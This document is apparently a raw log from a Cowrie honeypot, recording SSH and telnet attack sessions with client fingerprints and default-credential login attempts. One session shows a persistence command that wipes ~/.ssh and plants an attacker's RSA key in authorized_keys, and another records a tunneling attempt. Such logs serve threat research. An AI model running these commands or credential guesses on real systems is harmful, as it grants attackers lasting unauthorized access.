{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:01.853819Z","src_ip":"87.251.64.176","session":"0a6265c0463a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:02.152986Z","src_ip":"87.251.64.176","session":"0a6265c0463a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:02.253501Z","session":"0a6265c0463a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:02.352033Z","src_ip":"87.251.64.176","session":"0a6265c0463a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:02.453637Z","src_ip":"87.251.64.176","session":"0a6265c0463a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34640,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2ad3a86e83","protocol":"ssh","message":"New connection: 147.45.199.80:34640 (10.17.0.5:22) [session: 5b2ad3a86e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:13.376547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:13.381320Z","src_ip":"147.45.199.80","session":"5b2ad3a86e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:13.480794Z","src_ip":"147.45.199.80","session":"5b2ad3a86e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amazing","message":"login attempt [root/amazing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:13.767507Z","src_ip":"147.45.199.80","session":"5b2ad3a86e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:14.866568Z","src_ip":"147.45.199.80","session":"5b2ad3a86e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.770124197006226,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:15.405022Z","src_ip":"135.148.14.151","session":"f515ddfb066c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58940,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c5f9feda2a","protocol":"telnet","message":"New connection: 135.148.14.151:58940 (159.203.135.109:23) [session: 86c5f9feda2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:17.194962Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.249.63.52","src_port":12321,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc2e43381d5","protocol":"ssh","message":"New connection: 101.249.63.52:12321 (10.17.0.5:22) [session: bcc2e43381d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:18.744586Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.138.158.77","src_port":44221,"dst_ip":"10.17.0.5","dst_port":22,"session":"80cb85f921e5","protocol":"ssh","message":"New connection: 182.138.158.77:44221 (10.17.0.5:22) [session: 80cb85f921e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:19.465833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:19.470960Z","src_ip":"182.138.158.77","session":"80cb85f921e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:19.781875Z","src_ip":"182.138.158.77","session":"80cb85f921e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:21.050785Z","src_ip":"101.249.63.52","session":"bcc2e43381d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.397384881973267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:22.948242Z","src_ip":"135.148.14.151","session":"eec626856df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60340,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ec764bcf14","protocol":"telnet","message":"New connection: 135.148.14.151:60340 (159.203.135.109:23) [session: 80ec764bcf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:23.476313Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d094388149","protocol":"telnet","message":"New connection: 135.148.14.151:33826 (159.203.135.109:23) [session: e1d094388149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:24.628742Z"}
{"eventid":"cowrie.session.closed","duration":37.481489181518555,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:26.007702Z","src_ip":"135.148.14.151","session":"607300c4e60e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.11326003074646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:27.911932Z","src_ip":"135.148.14.151","session":"4cfb955703b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:34.467236Z","src_ip":"182.138.158.77","session":"80cb85f921e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.37743258476257,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:52.572278Z","src_ip":"135.148.14.151","session":"86c5f9feda2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.203.111","src_port":36948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca03b51455b2","protocol":"ssh","message":"New connection: 167.172.203.111:36948 (159.203.135.109:22) [session: ca03b51455b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:53.861016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:53.866542Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:53.944678Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.286943Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.489268Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.493034Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.497401Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.653425Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.783085Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.787091Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/tom/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.872782Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.876846Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.203.111","src_port":36952,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b675a310c2f","protocol":"ssh","message":"New connection: 167.172.203.111:36952 (159.203.135.109:22) [session: 5b675a310c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.925954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.932693Z","src_ip":"167.172.203.111","session":"5b675a310c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:54.998202Z","src_ip":"167.172.203.111","session":"5b675a310c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:55.286739Z","src_ip":"167.172.203.111","session":"5b675a310c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.52381372451782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.000062Z","src_ip":"135.148.14.151","session":"80ec764bcf14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.353972Z","src_ip":"167.172.203.111","session":"5b675a310c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.203.111","src_port":36958,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce22e5ff9c1d","protocol":"ssh","message":"New connection: 167.172.203.111:36958 (159.203.135.109:22) [session: ce22e5ff9c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.427225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.432656Z","src_ip":"167.172.203.111","session":"ce22e5ff9c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.504699Z","src_ip":"167.172.203.111","session":"ce22e5ff9c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"3245gs5662d34","message":"login attempt [tom/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:56.820285Z","src_ip":"167.172.203.111","session":"ce22e5ff9c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:57.894412Z","src_ip":"167.172.203.111","session":"ce22e5ff9c1d","protocol":"ssh"}
